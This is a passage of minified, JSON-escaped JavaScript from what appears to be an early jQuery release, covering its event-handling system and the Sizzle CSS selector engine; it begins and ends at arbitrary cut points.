RegExp(\"(^|\\\\.)\"+i.join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\");if(g||!e)c.preventDefault(),c.stopPropagation();if(!e){f.each(f.cache,function(){var a=f.expando,b=this[a];b\u0026\u0026b.events\u0026\u0026b.events[h]\u0026\u0026f.event.trigger(c,d,b.handle.elem)});return}if(e.nodeType===3||e.nodeType===8)return;c.result=b,c.target=e,d=d!=null?f.makeArray(d):[],d.unshift(c);var k=e,l=h.indexOf(\":\")\u003c0?\"on\"+h:\"\";do{var m=f._data(k,\"handle\");c.currentTarget=k,m\u0026\u0026m.apply(k,d),l\u0026\u0026f.acceptData(k)\u0026\u0026k[l]\u0026\u0026k[l].apply(k,d)===!1\u0026\u0026(c.result=!1,c.preventDefault()),k=k.parentNode||k.ownerDocument||k===c.target.ownerDocument\u0026\u0026a}while(k\u0026\u0026!c.isPropagationStopped());if(!c.isDefaultPrevented()){var n,o=f.event.special[h]||{};if((!o._default||o._default.call(e.ownerDocument,c)===!1)\u0026\u0026(h!==\"click\"||!f.nodeName(e,\"a\"))\u0026\u0026f.acceptData(e)){try{l\u0026\u0026e[h]\u0026\u0026(n=e[l],n\u0026\u0026(e[l]=null),f.event.triggered=h,e[h]())}catch(p){}n\u0026\u0026(e[l]=n),f.event.triggered=b}}return c.result}},handle:function(c){c=f.event.fix(c||a.event);var d=((f._data(this,\"events\")||{})[c.type]||[]).slice(0),e=!c.exclusive\u0026\u0026!c.namespace,g=Array.prototype.slice.call(arguments,0);g[0]=c,c.currentTarget=this;for(var h=0,i=d.length;h\u003ci;h++){var j=d[h];if(e||c.namespace_re.test(j.namespace)){c.handler=j.handler,c.data=j.data,c.handleObj=j;var k=j.handler.apply(this,g);k!==b\u0026\u0026(c.result=k,k===!1\u0026\u0026(c.preventDefault(),c.stopPropagation()));if(c.isImmediatePropagationStopped())break}}return c.result},props:\"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which\".split(\" \"),fix:function(a){if(a[f.expando])return a;var d=a;a=f.Event(d);for(var e=this.props.length,g;e;)g=this.props[--e],a[g]=d[g];a.target||(a.target=a.srcElement||c),a.target.nodeType===3\u0026\u0026(a.target=a.target.parentNode),!a.relatedTarget\u0026\u0026a.fromElement\u0026\u0026(a.relatedTarget=a.fromElement===a.target?a.toElement:a.fromElement);if(a.pageX==null\u0026\u0026a.clientX!=null){var h=a.target.ownerDocument||c,i=h.documentElement,j=h.body;a.pageX=a.clientX+(i\u0026\u0026i.scrollLeft||j\u0026\u0026j.scrollLeft||0)-(i\u0026\u0026i.clientLeft||j\u0026\u0026j.clientLeft||0),a.pageY=a.clientY+(i\u0026\u0026i.scrollTop||j\u0026\u0026j.scrollTop||0)-(i\u0026\u0026i.clientTop||j\u0026\u0026j.clientTop||0)}a.which==null\u0026\u0026(a.charCode!=null||a.keyCode!=null)\u0026\u0026(a.which=a.charCode!=null?a.charCode:a.keyCode),!a.metaKey\u0026\u0026a.ctrlKey\u0026\u0026(a.metaKey=a.ctrlKey),!a.which\u0026\u0026a.button!==b\u0026\u0026(a.which=a.button\u00261?1:a.button\u00262?3:a.button\u00264?2:0);return a},guid:1e8,proxy:f.proxy,special:{ready:{setup:f.bindReady,teardown:f.noop},live:{add:function(a){f.event.add(this,M(a.origType,a.selector),f.extend({},a,{handler:L,guid:a.handler.guid}))},remove:function(a){f.event.remove(this,M(a.origType,a.selector),a)}},beforeunload:{setup:function(a,b,c){f.isWindow(this)\u0026\u0026(this.onbeforeunload=c)},teardown:function(a,b){this.onbeforeunload===b\u0026\u0026(this.onbeforeunload=null)}}}},f.removeEvent=c.removeEventListener?function(a,b,c){a.removeEventListener\u0026\u0026a.removeEventListener(b,c,!1)}:function(a,b,c){a.detachEvent\u0026\u0026a.detachEvent(\"on\"+b,c)},f.Event=function(a,b){if(!this.preventDefault)return new f.Event(a,b);a\u0026\u0026a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||a.returnValue===!1||a.getPreventDefault\u0026\u0026a.getPreventDefault()?D:C):this.type=a,b\u0026\u0026f.extend(this,b),this.timeStamp=f.now(),this[f.expando]=!0},f.Event.prototype={preventDefault:function(){this.isDefaultPrevented=D;var a=this.originalEvent;!a||(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){this.isPropagationStopped=D;var a=this.originalEvent;!a||(a.stopPropagation\u0026\u0026a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=D,this.stopPropagation()},isDefaultPrevented:C,isPropagationStopped:C,isImmediatePropagationStopped:C};var E=function(a){var b=a.relatedTarget,c=!1,d=a.type;a.type=a.data,b!==this\u0026\u0026(b\u0026\u0026(c=f.contains(this,b)),c||(f.event.handle.apply(this,arguments),a.type=d))},F=function(a){a.type=a.data,f.event.handle.apply(this,arguments)};f.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\"},function(a,b){f.event.special[a]={setup:function(c){f.event.add(this,b,c\u0026\u0026c.selector?F:E,a)},teardown:function(a){f.event.remove(this,b,a\u0026\u0026a.selector?F:E)}}}),f.support.submitBubbles||(f.event.special.submit={setup:function(a,b){if(!f.nodeName(this,\"form\"))f.event.add(this,\"click.specialSubmit\",function(a){var b=a.target,c=f.nodeName(b,\"input\")||f.nodeName(b,\"button\")?b.type:\"\";(c===\"submit\"||c===\"image\")\u0026\u0026f(b).closest(\"form\").length\u0026\u0026J(\"submit\",this,arguments)}),f.event.add(this,\"keypress.specialSubmit\",function(a){var b=a.target,c=f.nodeName(b,\"input\")||f.nodeName(b,\"button\")?b.type:\"\";(c===\"text\"||c===\"password\")\u0026\u0026f(b).closest(\"form\").length\u0026\u0026a.keyCode===13\u0026\u0026J(\"submit\",this,arguments)});else return!1},teardown:function(a){f.event.remove(this,\".specialSubmit\")}});if(!f.support.changeBubbles){var G,H=function(a){var b=f.nodeName(a,\"input\")?a.type:\"\",c=a.value;b===\"radio\"||b===\"checkbox\"?c=a.checked:b===\"select-multiple\"?c=a.selectedIndex\u003e-1?f.map(a.options,function(a){return a.selected}).join(\"-\"):\"\":f.nodeName(a,\"select\")\u0026\u0026(c=a.selectedIndex);return c},I=function(c){var d=c.target,e,g;if(!!x.test(d.nodeName)\u0026\u0026!d.readOnly){e=f._data(d,\"_change_data\"),g=H(d),(c.type!==\"focusout\"||d.type!==\"radio\")\u0026\u0026f._data(d,\"_change_data\",g);if(e===b||g===e)return;if(e!=null||g)c.type=\"change\",c.liveFired=b,f.event.trigger(c,arguments[1],d)}};f.event.special.change={filters:{focusout:I,beforedeactivate:I,click:function(a){var b=a.target,c=f.nodeName(b,\"input\")?b.type:\"\";(c===\"radio\"||c===\"checkbox\"||f.nodeName(b,\"select\"))\u0026\u0026I.call(this,a)},keydown:function(a){var b=a.target,c=f.nodeName(b,\"input\")?b.type:\"\";(a.keyCode===13\u0026\u0026!f.nodeName(b,\"textarea\")||a.keyCode===32\u0026\u0026(c===\"checkbox\"||c===\"radio\")||c===\"select-multiple\")\u0026\u0026I.call(this,a)},beforeactivate:function(a){var b=a.target;f._data(b,\"_change_data\",H(b))}},setup:function(a,b){if(this.type===\"file\")return!1;for(var c in G)f.event.add(this,c+\".specialChange\",G[c]);return x.test(this.nodeName)},teardown:function(a){f.event.remove(this,\".specialChange\");return x.test(this.nodeName)}},G=f.event.special.change.filters,G.focus=G.beforeactivate}f.support.focusinBubbles||f.each({focus:\"focusin\",blur:\"focusout\"},function(a,b){function e(a){var c=f.event.fix(a);c.type=b,c.originalEvent={},f.event.trigger(c,null,c.target),c.isDefaultPrevented()\u0026\u0026a.preventDefault()}var d=0;f.event.special[b]={setup:function(){d++===0\u0026\u0026c.addEventListener(a,e,!0)},teardown:function(){--d===0\u0026\u0026c.removeEventListener(a,e,!0)}}}),f.each([\"bind\",\"one\"],function(a,c){f.fn[c]=function(a,d,e){var g;if(typeof a==\"object\"){for(var h in a)this[c](h,d,a[h],e);return this}if(arguments.length===2||d===!1)e=d,d=b;c===\"one\"?(g=function(a){f(this).unbind(a,g);return e.apply(this,arguments)},g.guid=e.guid||f.guid++):g=e;if(a===\"unload\"\u0026\u0026c!==\"one\")this.one(a,d,e);else for(var i=0,j=this.length;i\u003cj;i++)f.event.add(this[i],a,g,d);return this}}),f.fn.extend({unbind:function(a,b){if(typeof a==\"object\"\u0026\u0026!a.preventDefault)for(var c in a)this.unbind(c,a[c]);else for(var d=0,e=this.length;d\u003ce;d++)f.event.remove(this[d],a,b);return this},delegate:function(a,b,c,d){return this.live(b,c,d,a)},undelegate:function(a,b,c){return arguments.length===0?this.unbind(\"live\"):this.die(b,null,c,a)},trigger:function(a,b){return this.each(function(){f.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0])return f.event.trigger(a,b,this[0],!0)},toggle:function(a){var b=arguments,c=a.guid||f.guid++,d=0,e=function(c){var e=(f.data(this,\"lastToggle\"+a.guid)||0)%d;f.data(this,\"lastToggle\"+a.guid,e+1),c.preventDefault();return b[e].apply(this,arguments)||!1};e.guid=c;while(d\u003cb.length)b[d++].guid=c;return this.click(e)},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});var K={focus:\"focusin\",blur:\"focusout\",mouseenter:\"mouseover\",mouseleave:\"mouseout\"};f.each([\"live\",\"die\"],function(a,c){f.fn[c]=function(a,d,e,g){var h,i=0,j,k,l,m=g||this.selector,n=g?this:f(this.context);if(typeof a==\"object\"\u0026\u0026!a.preventDefault){for(var o in a)n[c](o,d,a[o],m);return this}if(c===\"die\"\u0026\u0026!a\u0026\u0026g\u0026\u0026g.charAt(0)===\".\"){n.unbind(g);return this}if(d===!1||f.isFunction(d))e=d||C,d=b;a=(a||\"\").split(\" \");while((h=a[i++])!=null){j=w.exec(h),k=\"\",j\u0026\u0026(k=j[0],h=h.replace(w,\"\"));if(h===\"hover\"){a.push(\"mouseenter\"+k,\"mouseleave\"+k);continue}l=h,K[h]?(a.push(K[h]+k),h=h+k):h=(K[h]||h)+k;if(c===\"live\")for(var p=0,q=n.length;p\u003cq;p++)f.event.add(n[p],\"live.\"+M(h,m),{data:d,selector:m,handler:e,origType:h,origHandler:e,preType:l});else n.unbind(\"live.\"+M(h,m),e)}return this}}),f.each(\"blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error\".split(\" \"),function(a,b){f.fn[b]=function(a,c){c==null\u0026\u0026(c=a,a=null);return arguments.length\u003e0?this.bind(b,a,c):this.trigger(b)},f.attrFn\u0026\u0026(f.attrFn[b]=!0)}),function(){function u(a,b,c,d,e,f){for(var g=0,h=d.length;g\u003ch;g++){var i=d[g];if(i){var j=!1;i=i[a];while(i){if(i.sizcache===c){j=d[i.sizset];break}if(i.nodeType===1){f||(i.sizcache=c,i.sizset=g);if(typeof b!=\"string\"){if(i===b){j=!0;break}}else if(k.filter(b,[i]).length\u003e0){j=i;break}}i=i[a]}d[g]=j}}}function t(a,b,c,d,e,f){for(var g=0,h=d.length;g\u003ch;g++){var i=d[g];if(i){var j=!1;i=i[a];while(i){if(i.sizcache===c){j=d[i.sizset];break}i.nodeType===1\u0026\u0026!f\u0026\u0026(i.sizcache=c,i.sizset=g);if(i.nodeName.toLowerCase()===b){j=i;break}i=i[a]}d[g]=j}}}var a=/((?:\\((?:\\([^()]+\\)|[^()]+)+\\)|\\[(?:\\[[^\\[\\]]*\\]|['\"][^'\"]*['\"]|[^\\[\\]'\"]+)+\\]|\\\\.|[^ \u003e+~,(\\[\\\\]+)+|[\u003e+~])(\\s*,\\s*)?((?:.|\\r|\\n)*)/g,d=0,e=Object.prototype.toString,g=!1,h=!0,i=/\\\\/g,j=/\\W/;[0,0].sort(function(){h=!1;return 0});var k=function(b,d,f,g){f=f||[],d=d||c;var h=d;if(d.nodeType!==1\u0026\u0026d.nodeType!==9)return[];if(!b||typeof b!=\"string\")return f;var i,j,n,o,q,r,s,t,u=!0,w=k.isXML(d),x=[],y=b;do{a.exec(\"\"),i=a.exec(y);if(i){y=i[3],x.push(i[1]);if(i[2]){o=i[3];break}}}while(i);if(x.length\u003e1\u0026\u0026m.exec(b))if(x.length===2\u0026\u0026l.relative[x[0]])j=v(x[0]+x[1],d);else{j=l.relative[x[0]]?[d]:k(x.shift(),d);while(x.length)b=x.shift(),l.relative[b]\u0026\u0026(b+=x.shift()),j=v(b,j)}else{!g\u0026\u0026x.length\u003e1\u0026\u0026d.nodeType===9\u0026\u0026!w\u0026\u0026l.match.ID.test(x[0])\u0026\u0026!l.match.ID.test(x[x.length-1])\u0026\u0026(q=k.find(x.shift(),d,w),d=q.expr?k.filter(q.expr,q.set)[0]:q.set[0]);if(d){q=g?{expr:x.pop(),set:p(g)}:k.find(x.pop(),x.length===1\u0026\u0026(x[0]===\"~\"||x[0]===\"+\")\u0026\u0026d.parentNode?d.parentNode:d,w),j=q.expr?k.filter(q.expr,q.set):q.set,x.length\u003e0?n=p(j):u=!1;while(x.length)r=x.pop(),s=r,l.relative[r]?s=x.pop():r=\"\",s==null\u0026\u0026(s=d),l.relative[r](n,s,w)}else n=x=[]}n||(n=j),n||k.error(r||b);if(e.call(n)===\"[object Array]\")if(!u)f.push.apply(f,n);else if(d\u0026\u0026d.nodeType===1)for(t=0;n[t]!=null;t++)n[t]\u0026\u0026(n[t]===!0||n[t].nodeType===1\u0026\u0026k.contains(d,n[t]))\u0026\u0026f.push(j[t]);else for(t=0;n[t]!=null;t++)n[t]\u0026\u0026n[t].nodeType===1\u0026\u0026f.push(j[t]);else p(n,f);o\u0026\u0026(k(o,h,f,g),k.uniqueSort(f));return f};k.uniqueSort=function(a){if(r){g=h,a.sort(r);if(g)for(var b=1;b\u003ca.length;b++)a[b]===a[b-1]\u0026\u0026a.splice(b--,1)}return a},k.matches=function(a,b){return k(a,null,null,b)},k.matchesSelector=function(a,b){return k(b,null,null,[a]).length\u003e0},k.find=function(a,b,c){var d;if(!a)return[];for(var e=0,f=l.order.length;e\u003cf;e++){var g,h=l.order[e];if(g=l.leftMatch[h].exec(a)){var j=g[1];g.splice(1,1);if(j.substr(j.length-1)!==\"\\\\\"){g[1]=(g[1]||\"\").replace(i,\"\"),d=l.find[h](g,b,c);if(d!=null){a=a.replace(l.match[h],\"\");break}}}}d||(d=typeof b.getElementsByTagName!=\"undefined\"?b.getElementsByTagName(\"*\"):[]);return{set:d,expr:a}},k.filter=function(a,c,d,e){var f,g,h=a,i=[],j=c,m=c\u0026\u0026c[0]\u0026\u0026k.isXML(c[0]);while(a\u0026\u0026c.length){for(var n in l.filter)if((f=l.leftMatch[n].exec(a))!=null\u0026\u0026f[2]){var o,p,q=l.filter[n],r=f[1];g=!1,f.splice(1,1);if(r.substr(r.length-1)===\"\\\\\")continue;j===i\u0026\u0026(i=[]);if(l.preFilter[n]){f=l.preFilter[n](f,j,d,i,e,m);if(!f)g=o=!0;else if(f===!0)continue}if(f)for(var s=0;(p=j[s])!=null;s++)if(p){o=q(p,f,s,j);var t=e^!!o;d\u0026\u0026o!=null?t?g=!0:j[s]=!1:t\u0026\u0026(i.push(p),g=!0)}if(o!==b){d||(j=i),a=a.replace(l.match[n],\"\");if(!g)return[];break}}if(a===h)if(g==null)k.error(a);else break;h=a}return j},k.error=function(a){throw\"Syntax error, unrecognized expression: \"+a};var l=k.selectors={order:[\"ID\",\"NAME\",\"TAG\"],match:{ID:/#((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,CLASS:/\\.((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,NAME:/\\[name=['\"]*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)['\"]*\\]/,ATTR:/\\[\\s*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)\\s*(?:(\\S?=)\\s*(?:(['\"])(.*?)\\3|(#?(?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)*)|)|)\\s*\\]/,TAG:/^((?:[\\w\\u00c0-\\uFFFF\\*\\-]|\\\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\\(\\s*(even|odd|(?:[+\\-]?\\d+|(?:[+\\-]?\\d*)?n\\s*(?:[+\\-]\\s*\\d+)?))\\s*\\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\\((\\d*)\\))?(?=[^\\-]|$)/,PSEUDO:/:((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)(?:\\((['\"]?)((?:\\([^\\)]+\\)|[^\\(\\)]*)+)\\2\\))?/},leftMatch:{},attrMap:{\"class\":\"className\",\"for\":\"htmlFor\"},attrHandle:{href:function(a){return a.getAttribute(\"href\")},type:function(a){return a.getAttribute(\"type\")}},relative:{\"+\":function(a,b){var c=typeof b==\"string\",d=c\u0026\u0026!j.test(b),e=c\u0026\u0026!d;d\u0026\u0026(b=b.toLowerCase());for(var f=0,g=a.length,h;f\u003cg;f++)if(h=a[f]){while((h=h.previousSibling)\u0026\u0026h.nodeType!==1);a[f]=e||h\u0026\u0026h.nodeName.toLowerCase()===b?h||!1:h===b}e\u0026\u0026k.filter(b,a,!0)},\"\u003e\":function(a,b){var c,d=typeof b==\"string\",e=0,f=a.length;if(d\u0026\u0026!j.test(b)){b=b.toLowerCase();for(;e\u003cf;e++){c=a[e];if(c){var g=c.parentNode;a[e]=g.nodeName.toLowerCase()===b?g:!1}}}else{for(;e\u003cf;e++)c=a[e],c\u0026\u0026(a[e]=d?c.parentNode:c.parentNode===b);d\u0026\u0026k.filter(b,a,!0)}},\"\":function(a,b,c){var e,f=d++,g=u;typeof b==\"string\"\u0026\u0026!j.test(b)\u0026\u0026(b=b.toLowerCase(),e=b,g=t),g(\"parentNode\",b,f,a,e,c)},\"~\":function(a,b,c){var e,f=d++,g=u;typeof b==\"string\"\u0026\u0026!j.test(b)\u0026\u0026(b=b.toLowerCase(),e=b,g=t),g(\"previousSibling\",b,f,a,e,c)}},find:{ID:function(a,b,c){if(typeof b.getElementById!=\"undefined\"\u0026\u0026!c){var d=b.getElementById(a[1]);return d\u0026\u0026d.parentNode?[d]:[]}},NAME:function(a,b){if(typeof b.getElementsByName!=\"undefined\"){var c=[],d=b.getElementsByName(a[1]);for(var e=0,f=d.length;e\u003cf;e++)d[e].getAttribute(\"name\")===a[1]\u0026\u0026c.push(d[e]);return c.length===0?null:c}},TAG:function(a,b){if(typeof b.getElementsByTagName!=\"undefined\")return b.getElementsByTagName(a[1])}},preFilter:{CLASS:function(a,b,c,d,e,f){a=\" \"+a[1].replace(i,\"\")+\" \";if(f)return a;for(var g=0,h;(h=b[g])!=null;g++)h\u0026\u0026(e^(h.className\u0026\u0026(\" \"+h.className+\" \").replace(/[\\t\\n\\r]/g,\" \").indexOf(a)\u003e=0)?c||d.push(h):c\u0026\u0026(b[g]=!1));return!1},ID:function(a){return a[1].replace(i,\"\")},TAG:function(a,b){return a[1].replace(i,\"\").toLowerCase()},CHILD:function(a){if(a[1]===\"nth\"){a[2]||k.error(a[0]),a[2]=a[2].replace(/^\\+|\\s*/g,\"\");var b=/(-?)(\\d*)(?:n([+\\-]?\\d*))?/.exec(a[2]===\"even\"\u0026\u0026\"2n\"||a[2]===\"odd\"\u0026\u0026\"2n+1\"||!/\\D/.test(a[2])\u0026\u0026\"0n+\"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]\u0026\u0026k.error(a[0]);a[0]=d++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(i,\"\");!f\u0026\u0026l.attrMap[g]\u0026\u0026(a[1]=l.attrMap[g]),a[4]=(a[4]||a[5]||\"\").replace(i,\"\"),a[2]===\"~=\"\u0026\u0026(a[4]=\" \"+a[4]+\" \");return a},PSEUDO:function(b,c,d,e,f){if(b[1]===\"not\")if((a.exec(b[3])||\"\").length\u003e1||/^\\w/.test(b[3]))b[3]=k(b[3],null,null,c);else{var g=k.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(l.match.POS.test(b[0])||l.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1\u0026\u0026a.type!==\"hidden\"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode\u0026\u0026a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!k(c[3],a).length},header:function(a){return/h\\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute(\"type\"),c=a.type;return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"text\"===c\u0026\u0026(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"radio\"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"checkbox\"===a.type},file:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"file\"===a.type},password:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"password\"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b===\"input\"||b===\"button\")\u0026\u0026\"submit\"===a.type},image:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"image\"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b===\"input\"||b===\"button\")\u0026\u0026\"reset\"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b===\"input\"\u0026\u0026\"button\"===a.type||b===\"button\"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return b\u003cc[3]-0},gt:function(a,b,c){return b\u003ec[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=l.filters[e];if(f)return f(a,c,b,d);if(e===\"contains\")return(a.textContent||a.innerText||k.getText([a])||\"\").indexOf(b[3])\u003e=0;if(e===\"not\"){var g=b[3];for(var h=0,i=g.length;h\u003ci;h++)if(g[h]===a)return!1;return!0}k.error(e)},CHILD:function(a,b){var c=b[1],d=a;switch(c){case\"only\":case\"first\":while(d=d.previousSibling)if(d.nodeType===1)return!1;if(c===\"first\")return!0;d=a;case\"last\":while(d=d.nextSibling)if(d.nodeType===1)return!1;return!0;case\"nth\":var e=b[2],f=b[3];if(e===1\u0026\u0026f===0)return!0;var g=b[0],h=a.parentNode;if(h\u0026\u0026(h.sizcache!==g||!a.nodeIndex)){var i=0;for(d=h.firstChild;d;d=d.nextSibling)d.nodeType===1\u0026\u0026(d.nodeIndex=++i);h.sizcache=g}var j=a.nodeIndex-f;return e===0?j===0:j%e===0\u0026\u0026j/e\u003e=0}},ID:function(a,b){return a.nodeType===1\u0026\u0026a.getAttribute(\"id\")===b},TAG:function(a,b){return b===\"*\"\u0026\u0026a.nodeType===1||a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(\" \"+(a.className||a.getAttribute(\"class\"))+\" \").indexOf(b)\u003e-1},ATTR:function(a,b){var c=b[1],d=l.attrHandle[c]?l.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+\"\",f=b[2],g=b[4];return d==null?f===\"!=\":f===\"=\"?e===g:f===\"*=\"?e.indexOf(g)\u003e=0:f===\"~=\"?(\" \"+e+\" \").indexOf(g)\u003e=0:g?f===\"!=\"?e!==g:f===\"^=\"?e.indexOf(g)===0:f===\"$=\"?e.substr(e.length-g.length)===g:f===\"|=\"?e===g||e.substr(0,g.length+1)===g+\"-\":!1:e\u0026\u0026d!==!1},POS:function(a,b,c,d){var e=b[2],f=l.setFilters[e];if(f)return f(a,c,b,d)}}},m=l.match.POS,n=function(a,b){return\"\\\\\"+(b-0+1)};for(var o in l.match)l.match[o]=new RegExp(l.match[o].source+/(?![^\\[]*\\])(?![^\\(]*\\))/.source),l.leftMatch[o]=new RegExp(/(^(?:.|\\r|\\n)*?)/.source+l.match[o].source.replace(/\\\\(\\d+)/g,n));var p=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(q){p=function(a,b){var c=0,d=b||[];if(e.call(a)===\"[object Array]\")Array.prototype.push.apply(d,a);else if(typeof a.length==\"number\")for(var f=a.length;c\u003cf;c++)d.push(a[c]);else for(;a[c];c++)d.push(a[c]);return d}}var r,s;c.documentElement.compareDocumentPosition?r=function(a,b){if(a===b){g=!0;return 0}if(!a.compareDocumentPosition||!b.compareDocumentPosition)return a.compareDocumentPosition?-1:1;return a.compareDocumentPosition(b)\u00264?-1:1}:(r=function(a,b){if(a===b){g=!0;return 0}if(a.sourceIndex\u0026\u0026b.sourceIndex)return a.sourceIndex-b.sourceIndex;var c,d,e=[],f=[],h=a.parentNode,i=b.parentNode,j=h;if(h===i)return s(a,b);if(!h)return-1;if(!i)return 1;while(j)e.unshift(j),j=j.parentNode;j=i;while(j)f.unshift(j),j=j.parentNode;c=e.length,d=f.length;for(var k=0;k\u003cc\u0026\u0026k\u003cd;k++)if(e[k]!==f[k])return s(e[k],f[k]);return k===c?s(a,f[k],-1):s(e[k],b,1)},s=function(a,b,c){if(a===b)return c;var d=a.nextSibling;while(d){if(d===b)return-1;d=d.nextSibling}return 1}),k.getText=function(a){var b=\"\",c;for(var d=0;a[d];d++)c=a[d],c.nodeType===3||c.nodeType===4?b+=c.nodeValue:c.nodeType!==8\u0026\u0026(b+=k.getText(c.childNodes));return b},function(){var a=c.createElement(\"div\"),d=\"script\"+(new Date).getTime(),e=c.documentElement;a.innerHTML=\"\u003ca name='\"+d+\"'/\u003e\",e.insertBefore(a,e.firstChild),c.getElementById(d)\u0026\u0026(l.find.ID=function(a,c,d){if(typeof c.getElementById!=\"undefined\"\u0026\u0026!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!=\"undefined\"\u0026\u0026e.getAttributeNode(\"id\").nodeValue===a[1]?[e]:b:[]}},l.filter.ID=function(a,b){var c=typeof a.getAttributeNode!=\"undefined\"\u0026\u0026a.getAttributeNode(\"id\");return a.nodeType===1\u0026\u0026c\u0026\u0026c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement(\"div\");a.appendChild(c.createComment(\"\")),a.getElementsByTagName(\"*\").length\u003e0\u0026\u0026(l.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]===\"*\"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1\u0026\u0026d.push(c[e]);c=d}return c}),a.innerHTML=\"\u003ca href='#'\u003e\u003c/a\u003e\",a.firstChild\u0026\u0026typeof a.firstChild.getAttribute!=\"undefined\"\u0026\u0026a.firstChild.getAttribute(\"href\")!==\"#\"\u0026\u0026(l.attrHandle.href=function(a){return a.getAttribute(\"href\",2)}),a=null}(),c.querySelectorAll\u0026\u0026function(){var a=k,b=c.createElement(\"div\"),d=\"__sizzle__\";b.innerHTML=\"\u003cp class='TEST'\u003e\u003c/p\u003e\";if(!b.querySelectorAll||b.querySelectorAll(\".TEST\").length!==0){k=function(b,e,f,g){e=e||c;if(!g\u0026\u0026!k.isXML(e)){var h=/^(\\w+$)|^\\.([\\w\\-]+$)|^#([\\w\\-]+$)/.exec(b);if(h\u0026\u0026(e.nodeType===1||e.nodeType===9)){if(h[1])return p(e.getElementsByTagName(b),f);if(h[2]\u0026\u0026l.find.CLASS\u0026\u0026e.getElementsByClassName)return p(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b===\"body\"\u0026\u0026e.body)return p([e.body],f);if(h\u0026\u0026h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return p([],f);if(i.id===h[3])return p([i],f)}try{return p(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1\u0026\u0026e.nodeName.toLowerCase()!==\"object\"){var m=e,n=e.getAttribute(\"id\"),o=n||d,q=e.parentNode,r=/^\\s*[+~]/.test(b);n?o=o.replace(/'/g,\"\\\\$\u0026\"):e.setAttribute(\"id\",o),r\u0026\u0026q\u0026\u0026(e=e.parentNode);try{if(!r||q)return p(e.querySelectorAll(\"[id='\"+o+\"'] \"+b),f)}catch(s){}finally{n||m.removeAttribute(\"id\")}}}return a(b,e,f,g)};for(var e in a)k[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement(\"div\"),\"div\"),e=!1;try{b.call(c.documentElement,\"[test!='']:sizzle\")}catch(f){e=!0}k.matchesSelector=function(a,c){c=c.replace(/\\=\\s*([^'\"\\]]*)\\s*\\]/g,\"='$1']\");if(!k.isXML(a))try{if(e||!l.match.PSEUDO.test(c)\u0026\u0026!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document\u0026\u0026a.document.nodeType!==11)return f}}catch(g){}return k(c,null,null,[a]).length\u003e0}}}(),function(){var a=c.createElement(\"div\");a.innerHTML=\"\u003cdiv class='test e'\u003e\u003c/div\u003e\u003cdiv 